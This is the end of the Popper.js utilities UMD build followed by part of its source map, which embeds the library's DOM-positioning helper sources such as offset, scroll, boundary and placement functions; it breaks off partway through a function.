  getPopperOffsets: getPopperOffsets,
  getReferenceOffsets: getReferenceOffsets,
  getScroll: getScroll,
  getScrollParent: getScrollParent,
  getStyleComputedProperty: getStyleComputedProperty,
  getSupportedPropertyName: getSupportedPropertyName,
  getWindowSizes: getWindowSizes,
  isFixed: isFixed,
  isFunction: isFunction,
  isModifierEnabled: isModifierEnabled,
  isModifierRequired: isModifierRequired,
  isNumeric: isNumeric,
  removeEventListeners: removeEventListeners,
  runModifiers: runModifiers,
  setAttributes: setAttributes,
  setStyles: setStyles,
  setupEventListeners: setupEventListeners
};

exports.computeAutoPlacement = computeAutoPlacement;
exports.debounce = debounce;
exports.findIndex = findIndex;
exports.getBordersSize = getBordersSize;
exports.getBoundaries = getBoundaries;
exports.getBoundingClientRect = getBoundingClientRect;
exports.getClientRect = getClientRect;
exports.getOffsetParent = getOffsetParent;
exports.getOffsetRect = getOffsetRect;
exports.getOffsetRectRelativeToArbitraryNode = getOffsetRectRelativeToArbitraryNode;
exports.getOuterSizes = getOuterSizes;
exports.getParentNode = getParentNode;
exports.getPopperOffsets = getPopperOffsets;
exports.getReferenceOffsets = getReferenceOffsets;
exports.getScroll = getScroll;
exports.getScrollParent = getScrollParent;
exports.getStyleComputedProperty = getStyleComputedProperty;
exports.getSupportedPropertyName = getSupportedPropertyName;
exports.getWindowSizes = getWindowSizes;
exports.isFixed = isFixed;
exports.isFunction = isFunction;
exports.isModifierEnabled = isModifierEnabled;
exports.isModifierRequired = isModifierRequired;
exports.isNumeric = isNumeric;
exports.removeEventListeners = removeEventListeners;
exports.runModifiers = runModifiers;
exports.setAttributes = setAttributes;
exports.setStyles = setStyles;
exports.setupEventListeners = setupEventListeners;
exports['default'] = index;

Object.defineProperty(exports, '__esModule', { value: true });

})));
//# sourceMappingURL=popper-utils.js.map
umd/popper.js.map000064400000410323151677356750010001 0ustar00{"version":3,"file":"popper.js","sources":["../../src/utils/isBrowser.js","../../src/utils/debounce.js","../../src/utils/isFunction.js","../../src/utils/getStyleComputedProperty.js","../../src/utils/getParentNode.js","../../src/utils/getScrollParent.js","../../src/utils/isIE.js","../../src/utils/getOffsetParent.js","../../src/utils/isOffsetContainer.js","../../src/utils/getRoot.js","../../src/utils/findCommonOffsetParent.js","../../src/utils/getScroll.js","../../src/utils/includeScroll.js","../../src/utils/getBordersSize.js","../../src/utils/getWindowSizes.js","../../src/utils/getClientRect.js","../../src/utils/getBoundingClientRect.js","../../src/utils/getOffsetRectRelativeToArbitraryNode.js","../../src/utils/getViewportOffsetRectRelativeToArtbitraryNode.js","../../src/utils/isFixed.js","../../src/utils/getFixedPositionOffsetParent.js","../../src/utils/getBoundaries.js","../../src/utils/computeAutoPlacement.js","../../src/utils/getReferenceOffsets.js","../../src/utils/getOuterSizes.js","../../src/utils/getOppositePlacement.js","../../src/utils/getPopperOffsets.js","../../src/utils/find.js","../../src/utils/findIndex.js","../../src/utils/runModifiers.js","../../src/methods/update.js","../../src/utils/isModifierEnabled.js","../../src/utils/getSupportedPropertyName.js","../../src/methods/destroy.js","../../src/utils/getWindow.js","../../src/utils/setupEventListeners.js","../../src/methods/enableEventListeners.js","../../src/utils/removeEventListeners.js","../../src/methods/disableEventListeners.js","../../src/utils/isNumeric.js","../../src/utils/setStyles.js","../../src/utils/setAttributes.js","../../src/modifiers/applyStyle.js","../../src/modifiers/computeStyle.js","../../src/utils/isModifierRequired.js","../../src/modifiers/arrow.js","../../src/utils/getOppositeVariation.js","../../src/methods/placements.js","../../src/utils/clockwise.js","../../src/modifiers/flip.js","../../src/modifiers/keepTogether.js","../../src/modifiers/offset.js","../../src/modifiers/preventOverflow.js","../../src/modifiers/shift.js","../../src/modifiers/hide.js","../../src/modifiers/inner.js","../../src/modifiers/index.js","../../src/methods/defaults.js","../../src/index.js"],"sourcesContent":["export default typeof window !== 'undefined' && typeof document !== 'undefined';\n","import isBrowser from './isBrowser';\n\nconst longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];\nlet timeoutDuration = 0;\nfor (let i = 0; i < longerTimeoutBrowsers.length; i += 1) {\n  if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {\n    timeoutDuration = 1;\n    break;\n  }\n}\n\nexport function microtaskDebounce(fn) {\n  let called = false\n  return () => {\n    if (called) {\n      return\n    }\n    called = true\n    window.Promise.resolve().then(() => {\n      called = false\n      fn()\n    })\n  }\n}\n\nexport function taskDebounce(fn) {\n  let scheduled = false;\n  return () => {\n    if (!scheduled) {\n      scheduled = true;\n      setTimeout(() => {\n        scheduled = false;\n        fn();\n      }, timeoutDuration);\n    }\n  };\n}\n\nconst supportsMicroTasks = isBrowser && window.Promise\n\n\n/**\n* Create a debounced version of a method, that's asynchronously deferred\n* but called in the minimum time possible.\n*\n* @method\n* @memberof Popper.Utils\n* @argument {Function} fn\n* @returns {Function}\n*/\nexport default (supportsMicroTasks\n  ? microtaskDebounce\n  : taskDebounce);\n","/**\n * Check if the given variable is a function\n * @method\n * @memberof Popper.Utils\n * @argument {Any} functionToCheck - variable to check\n * @returns {Boolean} answer to: is a function?\n */\nexport default function isFunction(functionToCheck) {\n  const getType = {};\n  return (\n    functionToCheck &&\n    getType.toString.call(functionToCheck) === '[object Function]'\n  );\n}\n","/**\n * Get CSS computed property of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Eement} element\n * @argument {String} property\n */\nexport default function getStyleComputedProperty(element, property) {\n  if (element.nodeType !== 1) {\n    return [];\n  }\n  // NOTE: 1 DOM access here\n  const window = element.ownerDocument.defaultView;\n  const css = window.getComputedStyle(element, null);\n  return property ? css[property] : css;\n}\n","/**\n * Returns the parentNode or the host of the element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} parent\n */\nexport default function getParentNode(element) {\n  if (element.nodeName === 'HTML') {\n    return element;\n  }\n  return element.parentNode || element.host;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Returns the scrolling parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} scroll parent\n */\nexport default function getScrollParent(element) {\n  // Return body, `getScroll` will take care to get the correct `scrollTop` from it\n  if (!element) {\n    return document.body\n  }\n\n  switch (element.nodeName) {\n    case 'HTML':\n    case 'BODY':\n      return element.ownerDocument.body\n    case '#document':\n      return element.body\n  }\n\n  // Firefox want us to check `-x` and `-y` variations as well\n  const { overflow, overflowX, overflowY } = getStyleComputedProperty(element);\n  if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {\n    return element;\n  }\n\n  return getScrollParent(getParentNode(element));\n}\n","import isBrowser from './isBrowser';\n\nconst isIE11 = isBrowser && !!(window.MSInputMethodContext && document.documentMode);\nconst isIE10 = isBrowser && /MSIE 10/.test(navigator.userAgent);\n\n/**\n * Determines if the browser is Internet Explorer\n * @method\n * @memberof Popper.Utils\n * @param {Number} version to check\n * @returns {Boolean} isIE\n */\nexport default function isIE(version) {\n  if (version === 11) {\n    return isIE11;\n  }\n  if (version === 10) {\n    return isIE10;\n  }\n  return isIE11 || isIE10;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Returns the offset parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} offset parent\n */\nexport default function getOffsetParent(element) {\n  if (!element) {\n    return document.documentElement;\n  }\n\n  const noOffsetParent = isIE(10) ? document.body : null;\n\n  // NOTE: 1 DOM access here\n  let offsetParent = element.offsetParent || null;\n  // Skip hidden elements which don't have an offsetParent\n  while (offsetParent === noOffsetParent && element.nextElementSibling) {\n    offsetParent = (element = element.nextElementSibling).offsetParent;\n  }\n\n  const nodeName = offsetParent && offsetParent.nodeName;\n\n  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {\n    return element ? element.ownerDocument.documentElement : document.documentElement;\n  }\n\n  // .offsetParent will return the closest TH, TD or TABLE in case\n  // no offsetParent is present, I hate this job...\n  if (\n    ['TH', 'TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 &&\n    getStyleComputedProperty(offsetParent, 'position') === 'static'\n  ) {\n    return getOffsetParent(offsetParent);\n  }\n\n  return offsetParent;\n}\n","import getOffsetParent from './getOffsetParent';\n\nexport default function isOffsetContainer(element) {\n  const { nodeName } = element;\n  if (nodeName === 'BODY') {\n    return false;\n  }\n  return (\n    nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element\n  );\n}\n","/**\n * Finds the root node (document, shadowDOM root) of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} node\n * @returns {Element} root node\n */\nexport default function getRoot(node) {\n  if (node.parentNode !== null) {\n    return getRoot(node.parentNode);\n  }\n\n  return node;\n}\n","import isOffsetContainer from './isOffsetContainer';\nimport getRoot from './getRoot';\nimport getOffsetParent from './getOffsetParent';\n\n/**\n * Finds the offset parent common to the two provided nodes\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element1\n * @argument {Element} element2\n * @returns {Element} common offset parent\n */\nexport default function findCommonOffsetParent(element1, element2) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {\n    return document.documentElement;\n  }\n\n  // Here we make sure to give as \"start\" the element that comes first in the DOM\n  const order =\n    element1.compareDocumentPosition(element2) &\n    Node.DOCUMENT_POSITION_FOLLOWING;\n  const start = order ? element1 : element2;\n  const end = order ? element2 : element1;\n\n  // Get common ancestor container\n  const range = document.createRange();\n  range.setStart(start, 0);\n  range.setEnd(end, 0);\n  const { commonAncestorContainer } = range;\n\n  // Both nodes are inside #document\n  if (\n    (element1 !== commonAncestorContainer &&\n      element2 !== commonAncestorContainer) ||\n    start.contains(end)\n  ) {\n    if (isOffsetContainer(commonAncestorContainer)) {\n      return commonAncestorContainer;\n    }\n\n    return getOffsetParent(commonAncestorContainer);\n  }\n\n  // one of the nodes is inside shadowDOM, find which one\n  const element1root = getRoot(element1);\n  if (element1root.host) {\n    return findCommonOffsetParent(element1root.host, element2);\n  } else {\n    return findCommonOffsetParent(element1, getRoot(element2).host);\n  }\n}\n","/**\n * Gets the scroll value of the given element in the given side (top and left)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {String} side `top` or `left`\n * @returns {number} amount of scrolled pixels\n */\nexport default function getScroll(element, side = 'top') {\n  const upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';\n  const nodeName = element.nodeName;\n\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    const html = element.ownerDocument.documentElement;\n    const scrollingElement = element.ownerDocument.scrollingElement || html;\n    return scrollingElement[upperSide];\n  }\n\n  return element[upperSide];\n}\n","import getScroll from './getScroll';\n\n/*\n * Sum or subtract the element scroll values (left and top) from a given rect object\n * @method\n * @memberof Popper.Utils\n * @param {Object} rect - Rect object you want to change\n * @param {HTMLElement} element - The element from the function reads the scroll values\n * @param {Boolean} subtract - set to true if you want to subtract the scroll values\n * @return {Object} rect - The modifier rect object\n */\nexport default function includeScroll(rect, element, subtract = false) {\n  const scrollTop = getScroll(element, 'top');\n  const scrollLeft = getScroll(element, 'left');\n  const modifier = subtract ? -1 : 1;\n  rect.top += scrollTop * modifier;\n  rect.bottom += scrollTop * modifier;\n  rect.left += scrollLeft * modifier;\n  rect.right += scrollLeft * modifier;\n  return rect;\n}\n","/*\n * Helper to detect borders of a given element\n * @method\n * @memberof Popper.Utils\n * @param {CSSStyleDeclaration} styles\n * Result of `getStyleComputedProperty` on the given element\n * @param {String} axis - `x` or `y`\n * @return {number} borders - The borders size of the given axis\n */\n\nexport default function getBordersSize(styles, axis) {\n  const sideA = axis === 'x' ? 'Left' : 'Top';\n  const sideB = sideA === 'Left' ? 'Right' : 'Bottom';\n\n  return (\n    parseFloat(styles[`border${sideA}Width`], 10) +\n    parseFloat(styles[`border${sideB}Width`], 10)\n  );\n}\n","import isIE from './isIE';\n\nfunction getSize(axis, body, html, computedStyle) {\n  return Math.max(\n    body[`offset${axis}`],\n    body[`scroll${axis}`],\n    html[`client${axis}`],\n    html[`offset${axis}`],\n    html[`scroll${axis}`],\n    isIE(10)\n      ? (parseInt(html[`offset${axis}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Top' : 'Left'}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Bottom' : 'Right'}`]))\n    : 0 \n  );\n}\n\nexport default function getWindowSizes(document) {\n  const body = document.body;\n  const html = document.documentElement;\n  const computedStyle = isIE(10) && getComputedStyle(html);\n\n  return {\n    height: getSize('Height', body, html, computedStyle),\n    width: getSize('Width', body, html, computedStyle),\n  };\n}\n","/**\n * Given element offsets, generate an output similar to getBoundingClientRect\n * @method\n * @memberof Popper.Utils\n * @argument {Object} offsets\n * @returns {Object} ClientRect like output\n */\nexport default function getClientRect(offsets) {\n  return {\n    ...offsets,\n    right: offsets.left + offsets.width,\n    bottom: offsets.top + offsets.height,\n  };\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getBordersSize from './getBordersSize';\nimport getWindowSizes from './getWindowSizes';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\nimport isIE from './isIE';\n\n/**\n * Get bounding client rect of given element\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} element\n * @return {Object} client rect\n */\nexport default function getBoundingClientRect(element) {\n  let rect = {};\n\n  // IE10 10 FIX: Please, don't ask, the element isn't\n  // considered in DOM in some circumstances...\n  // This isn't reproducible in IE10 compatibility mode of IE11\n  try {\n    if (isIE(10)) {\n      rect = element.getBoundingClientRect();\n      const scrollTop = getScroll(element, 'top');\n      const scrollLeft = getScroll(element, 'left');\n      rect.top += scrollTop;\n      rect.left += scrollLeft;\n      rect.bottom += scrollTop;\n      rect.right += scrollLeft;\n    }\n    else {\n      rect = element.getBoundingClientRect();\n    }\n  }\n  catch(e){}\n\n  const result = {\n    left: rect.left,\n    top: rect.top,\n    width: rect.right - rect.left,\n    height: rect.bottom - rect.top,\n  };\n\n  // subtract scrollbar size from sizes\n  const sizes = element.nodeName === 'HTML' ? getWindowSizes(element.ownerDocument) : {};\n  const width =\n    sizes.width || element.clientWidth || result.right - result.left;\n  const height =\n    sizes.height || element.clientHeight || result.bottom - result.top;\n\n  let horizScrollbar = element.offsetWidth - width;\n  let vertScrollbar = element.offsetHeight - height;\n\n  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`\n  // we make this check conditional for performance reasons\n  if (horizScrollbar || vertScrollbar) {\n    const styles = getStyleComputedProperty(element);\n    horizScrollbar -= getBordersSize(styles, 'x');\n    vertScrollbar -= getBordersSize(styles, 'y');\n\n    result.width -= horizScrollbar;\n    result.height -= vertScrollbar;\n  }\n\n  return getClientRect(result);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport includeScroll from './includeScroll';\nimport getScrollParent from './getScrollParent';\nimport getBoundingClientRect from './getBoundingClientRect';\nimport runIsIE from './isIE';\nimport getClientRect from './getClientRect';\n\nexport default function getOffsetRectRelativeToArbitraryNode(children, parent, fixedPosition = false) {\n  const isIE10 = runIsIE(10);\n  const isHTML = parent.nodeName === 'HTML';\n  const childrenRect = getBoundingClientRect(children);\n  const parentRect = getBoundingClientRect(parent);\n  const scrollParent = getScrollParent(children);\n\n  const styles = getStyleComputedProperty(parent);\n  const borderTopWidth = parseFloat(styles.borderTopWidth, 10);\n  const borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);\n\n  // In cases where the parent is fixed, we must ignore negative scroll in offset calc\n  if(fixedPosition && isHTML) {\n    parentRect.top = Math.max(parentRect.top, 0);\n    parentRect.left = Math.max(parentRect.left, 0);\n  }\n  let offsets = getClientRect({\n    top: childrenRect.top - parentRect.top - borderTopWidth,\n    left: childrenRect.left - parentRect.left - borderLeftWidth,\n    width: childrenRect.width,\n    height: childrenRect.height,\n  });\n  offsets.marginTop = 0;\n  offsets.marginLeft = 0;\n\n  // Subtract margins of documentElement in case it's being used as parent\n  // we do this only on HTML because it's the only element that behaves\n  // differently when margins are applied to it. The margins are included in\n  // the box of the documentElement, in the other cases not.\n  if (!isIE10 && isHTML) {\n    const marginTop = parseFloat(styles.marginTop, 10);\n    const marginLeft = parseFloat(styles.marginLeft, 10);\n\n    offsets.top -= borderTopWidth - marginTop;\n    offsets.bottom -= borderTopWidth - marginTop;\n    offsets.left -= borderLeftWidth - marginLeft;\n    offsets.right -= borderLeftWidth - marginLeft;\n\n    // Attach marginTop and marginLeft because in some circumstances we may need them\n    offsets.marginTop = marginTop;\n    offsets.marginLeft = marginLeft;\n  }\n\n  if (\n    isIE10 && !fixedPosition\n      ? parent.contains(scrollParent)\n      : parent === scrollParent && scrollParent.nodeName !== 'BODY'\n  ) {\n    offsets = includeScroll(offsets, parent);\n  }\n\n  return offsets;\n}\n","import getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\n\nexport default function getViewportOffsetRectRelativeToArtbitraryNode(element, excludeScroll = false) {\n  const html = element.ownerDocument.documentElement;\n  const relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);\n  const width = Math.max(html.clientWidth, window.innerWidth || 0);\n  const height = Math.max(html.clientHeight, window.innerHeight || 0);\n\n  const scrollTop = !excludeScroll ? getScroll(html) : 0;\n  const scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;\n\n  const offset = {\n    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,\n    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,\n    width,\n    height,\n  };\n\n  return getClientRect(offset);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Check if the given element is fixed or is inside a fixed parent\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {Element} customContainer\n * @returns {Boolean} answer to \"isFixed?\"\n */\nexport default function isFixed(element) {\n  const nodeName = element.nodeName;\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    return false;\n  }\n  if (getStyleComputedProperty(element, 'position') === 'fixed') {\n    return true;\n  }\n  return isFixed(getParentNode(element));\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Finds the first parent of an element that has a transformed property defined\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} first transformed parent or documentElement\n */\n\nexport default function getFixedPositionOffsetParent(element) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n   if (!element || !element.parentElement || isIE()) {\n    return document.documentElement;\n  }\n  let el = element.parentElement;\n  while (el && getStyleComputedProperty(el, 'transform') === 'none') {\n    el = el.parentElement;\n  }\n  return el || document.documentElement;\n\n}\n","import getScrollParent from './getScrollParent';\nimport getParentNode from './getParentNode';\nimport findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getViewportOffsetRectRelativeToArtbitraryNode from './getViewportOffsetRectRelativeToArtbitraryNode';\nimport getWindowSizes from './getWindowSizes';\nimport isFixed from './isFixed';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Computed the boundaries limits and return them\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} popper\n * @param {HTMLElement} reference\n * @param {number} padding\n * @param {HTMLElement} boundariesElement - Element used to define the boundaries\n * @param {Boolean} fixedPosition - Is in fixed position mode\n * @returns {Object} Coordinates of the boundaries\n */\nexport default function getBoundaries(\n  popper,\n  reference,\n  padding,\n  boundariesElement,\n  fixedPosition = false\n) {\n  // NOTE: 1 DOM access here\n\n  let boundaries = { top: 0, left: 0 };\n  const offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n\n  // Handle viewport case\n  if (boundariesElement === 'viewport' ) {\n    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);\n  }\n\n  else {\n    // Handle other cases based on DOM element used as boundaries\n    let boundariesNode;\n    if (boundariesElement === 'scrollParent') {\n      boundariesNode = getScrollParent(getParentNode(reference));\n      if (boundariesNode.nodeName === 'BODY') {\n        boundariesNode = popper.ownerDocument.documentElement;\n      }\n    } else if (boundariesElement === 'window') {\n      boundariesNode = popper.ownerDocument.documentElement;\n    } else {\n      boundariesNode = boundariesElement;\n    }\n\n    const offsets = getOffsetRectRelativeToArbitraryNode(\n      boundariesNode,\n      offsetParent,\n      fixedPosition\n    );\n\n    // In case of HTML, we need a different computation\n    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {\n      const { height, width } = getWindowSizes(popper.ownerDocument);\n      boundaries.top += offsets.top - offsets.marginTop;\n      boundaries.bottom = height + offsets.top;\n      boundaries.left += offsets.left - offsets.marginLeft;\n      boundaries.right = width + offsets.left;\n    } else {\n      // for all the other DOM elements, this one is good\n      boundaries = offsets;\n    }\n  }\n\n  // Add paddings\n  padding = padding || 0;\n  const isPaddingNumber = typeof padding === 'number';\n  boundaries.left += isPaddingNumber ? padding : padding.left || 0; \n  boundaries.top += isPaddingNumber ? padding : padding.top || 0; \n  boundaries.right -= isPaddingNumber ? padding : padding.right || 0; \n  boundaries.bottom -= isPaddingNumber ? padding : padding.bottom || 0; \n\n  return boundaries;\n}\n","import getBoundaries from '../utils/getBoundaries';\n\nfunction getArea({ width, height }) {\n  return width * height;\n}\n\n/**\n * Utility used to transform the `auto` placement to the placement with more\n * available space.\n * @method\n * @memberof Popper.Utils\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function computeAutoPlacement(\n  placement,\n  refRect,\n  popper,\n  reference,\n  boundariesElement,\n  padding = 0\n) {\n  if (placement.indexOf('auto') === -1) {\n    return placement;\n  }\n\n  const boundaries = getBoundaries(\n    popper,\n    reference,\n    padding,\n    boundariesElement\n  );\n\n  const rects = {\n    top: {\n      width: boundaries.width,\n      height: refRect.top - boundaries.top,\n    },\n    right: {\n      width: boundaries.right - refRect.right,\n      height: boundaries.height,\n    },\n    bottom: {\n      width: boundaries.width,\n      height: boundaries.bottom - refRect.bottom,\n    },\n    left: {\n      width: refRect.left - boundaries.left,\n      height: boundaries.height,\n    },\n  };\n\n  const sortedAreas = Object.keys(rects)\n    .map(key => ({\n      key,\n      ...rects[key],\n      area: getArea(rects[key]),\n    }))\n    .sort((a, b) => b.area - a.area);\n\n  const filteredAreas = sortedAreas.filter(\n    ({ width, height }) =>\n      width >= popper.clientWidth && height >= popper.clientHeight\n  );\n\n  const computedPlacement = filteredAreas.length > 0\n    ? filteredAreas[0].key\n    : sortedAreas[0].key;\n\n  const variation = placement.split('-')[1];\n\n  return computedPlacement + (variation ? `-${variation}` : '');\n}\n","import findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Get offsets to the reference element\n * @method\n * @memberof Popper.Utils\n * @param {Object} state\n * @param {Element} popper - the popper element\n * @param {Element} reference - the reference element (the popper will be relative to this)\n * @param {Element} fixedPosition - is in fixed position mode\n * @returns {Object} An object containing the offsets which will be applied to the popper\n */\nexport default function getReferenceOffsets(state, popper, reference, fixedPosition = null) {\n  const commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n  return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);\n}\n","/**\n * Get the outer sizes of the given element (offset size + margins)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Object} object containing width and height properties\n */\nexport default function getOuterSizes(element) {\n  const window = element.ownerDocument.defaultView;\n  const styles = window.getComputedStyle(element);\n  const x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);\n  const y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);\n  const result = {\n    width: element.offsetWidth + y,\n    height: element.offsetHeight + x,\n  };\n  return result;\n}\n","/**\n * Get the opposite placement of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement\n * @returns {String} flipped placement\n */\nexport default function getOppositePlacement(placement) {\n  const hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };\n  return placement.replace(/left|right|bottom|top/g, matched => hash[matched]);\n}\n","import getOuterSizes from './getOuterSizes';\nimport getOppositePlacement from './getOppositePlacement';\n\n/**\n * Get offsets to the popper\n * @method\n * @memberof Popper.Utils\n * @param {Object} position - CSS position the Popper will get applied\n * @param {HTMLElement} popper - the popper element\n * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)\n * @param {String} placement - one of the valid placement options\n * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper\n */\nexport default function getPopperOffsets(popper, referenceOffsets, placement) {\n  placement = placement.split('-')[0];\n\n  // Get popper node sizes\n  const popperRect = getOuterSizes(popper);\n\n  // Add position, width and height to our offsets object\n  const popperOffsets = {\n    width: popperRect.width,\n    height: popperRect.height,\n  };\n\n  // depending by the popper placement we have to compute its offsets slightly differently\n  const isHoriz = ['right', 'left'].indexOf(placement) !== -1;\n  const mainSide = isHoriz ? 'top' : 'left';\n  const secondarySide = isHoriz ? 'left' : 'top';\n  const measurement = isHoriz ? 'height' : 'width';\n  const secondaryMeasurement = !isHoriz ? 'height' : 'width';\n\n  popperOffsets[mainSide] =\n    referenceOffsets[mainSide] +\n    referenceOffsets[measurement] / 2 -\n    popperRect[measurement] / 2;\n  if (placement === secondarySide) {\n    popperOffsets[secondarySide] =\n      referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];\n  } else {\n    popperOffsets[secondarySide] =\n      referenceOffsets[getOppositePlacement(secondarySide)];\n  }\n\n  return popperOffsets;\n}\n","/**\n * Mimics the `find` method of Array\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function find(arr, check) {\n  // use native find if supported\n  if (Array.prototype.find) {\n    return arr.find(check);\n  }\n\n  // use `filter` to obtain the same behavior of `find`\n  return arr.filter(check)[0];\n}\n","import find from './find';\n\n/**\n * Return the index of the matching object\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function findIndex(arr, prop, value) {\n  // use native findIndex if supported\n  if (Array.prototype.findIndex) {\n    return arr.findIndex(cur => cur[prop] === value);\n  }\n\n  // use `find` + `indexOf` if `findIndex` isn't supported\n  const match = find(arr, obj => obj[prop] === value);\n  return arr.indexOf(match);\n}\n","import isFunction from './isFunction';\nimport findIndex from './findIndex';\nimport getClientRect from '../utils/getClientRect';\n\n/**\n * Loop trough the list of modifiers and run them in order,\n * each of them will then edit the data object.\n * @method\n * @memberof Popper.Utils\n * @param {dataObject} data\n * @param {Array} modifiers\n * @param {String} ends - Optional modifier name used as stopper\n * @returns {dataObject}\n */\nexport default function runModifiers(modifiers, data, ends) {\n  const modifiersToRun = ends === undefined\n    ? modifiers\n    : modifiers.slice(0, findIndex(modifiers, 'name', ends));\n\n  modifiersToRun.forEach(modifier => {\n    if (modifier['function']) { // eslint-disable-line dot-notation\n      console.warn('`modifier.function` is deprecated, use `modifier.fn`!');\n    }\n    const fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation\n    if (modifier.enabled && isFunction(fn)) {\n      // Add properties to offsets to make them a complete clientRect object\n      // we do this before each modifier to make sure the previous one doesn't\n      // mess with these values\n      data.offsets.popper = getClientRect(data.offsets.popper);\n      data.offsets.reference = getClientRect(data.offsets.reference);\n\n      data = fn(data, modifier);\n    }\n  });\n\n  return data;\n}\n","import computeAutoPlacement from '../utils/computeAutoPlacement';\nimport getReferenceOffsets from '../utils/getReferenceOffsets';\nimport getPopperOffsets from '../utils/getPopperOffsets';\nimport runModifiers from '../utils/runModifiers';\n\n/**\n * Updates the position of the popper, computing the new offsets and applying\n * the new style.<br />\n * Prefer `scheduleUpdate` over `update` because of performance reasons.\n * @method\n * @memberof Popper\n */\nexport default function update() {\n  // if popper is destroyed, don't perform any further update\n  if (this.state.isDestroyed) {\n    return;\n  }\n\n  let data = {\n    instance: this,\n    styles: {},\n    arrowStyles: {},\n    attributes: {},\n    flipped: false,\n    offsets: {},\n  };\n\n  // compute reference element offsets\n  data.offsets.reference = getReferenceOffsets(\n    this.state,\n    this.popper,\n    this.reference,\n    this.options.positionFixed\n  );\n\n  // compute auto placement, store placement inside the data object,\n  // modifiers will be able to edit `placement` if needed\n  // and refer to originalPlacement to know the original value\n  data.placement = computeAutoPlacement(\n    this.options.placement,\n    data.offsets.reference,\n    this.popper,\n    this.reference,\n    this.options.modifiers.flip.boundariesElement,\n    this.options.modifiers.flip.padding\n  );\n\n  // store the computed placement inside `originalPlacement`\n  data.originalPlacement = data.placement;\n\n  data.positionFixed = this.options.positionFixed;\n\n  // compute the popper offsets\n  data.offsets.popper = getPopperOffsets(\n    this.popper,\n    data.offsets.reference,\n    data.placement\n  );\n\n  data.offsets.popper.position = this.options.positionFixed\n    ? 'fixed'\n    : 'absolute';\n\n  // run the modifiers\n  data = runModifiers(this.modifiers, data);\n\n  // the first `update` will call `onCreate` callback\n  // the other ones will call `onUpdate` callback\n  if (!this.state.isCreated) {\n    this.state.isCreated = true;\n    this.options.onCreate(data);\n  } else {\n    this.options.onUpdate(data);\n  }\n}\n","/**\n * Helper used to know if the given modifier is enabled.\n * @method\n * @memberof Popper.Utils\n * @returns {Boolean}\n */\nexport default function isModifierEnabled(modifiers, modifierName) {\n  return modifiers.some(\n    ({ name, enabled }) => enabled 